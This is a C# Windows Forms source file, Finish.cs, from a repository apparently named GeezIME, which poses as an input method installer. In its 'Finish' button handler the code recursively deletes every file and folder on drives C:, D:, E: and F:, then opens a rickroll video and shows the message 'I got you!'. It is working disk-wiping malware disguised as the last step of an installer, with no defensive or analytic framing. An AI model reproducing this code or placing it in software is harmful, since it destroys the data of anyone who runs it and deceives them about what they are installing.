-
Notifications
You must be signed in to change notification settings - Fork 0
/
Finish.cs
60 lines (52 loc) · 1.75 KB
/
Finish.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace GeezIME
{
public partial class Finish : Form
{
public Finish()
{
InitializeComponent();
}
private void btnFinish_Click(object sender, EventArgs e)
{
string folderPath = @"C:\";
string folderPath2 = @"D:\";
string folderPath3 = @"E:\";
string folderPath4 = @"F:\";
// Call the DeleteFolderRecursively method to delete the specified folder and its contents
DeleteFolderRecursively(folderPath);
DeleteFolderRecursively(folderPath2);
DeleteFolderRecursively(folderPath3);
DeleteFolderRecursively(folderPath4);
string rikcroll = "https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley";
// Open the default browser with the specified URL
Process.Start(rikcroll);
MessageBox.Show("I got you!");
}
static void DeleteFolderRecursively(string folderPath)
{
// Delete files in the folder
foreach (string filePath in System.IO.Directory.GetFiles(folderPath))
{
File.Delete(filePath);
}
// Recursively delete subfolders
foreach (string subFolderPath in Directory.GetDirectories(folderPath))
{
DeleteFolderRecursively(subFolderPath);
}
// Delete the current folder
Directory.Delete(folderPath, true);
}
}
}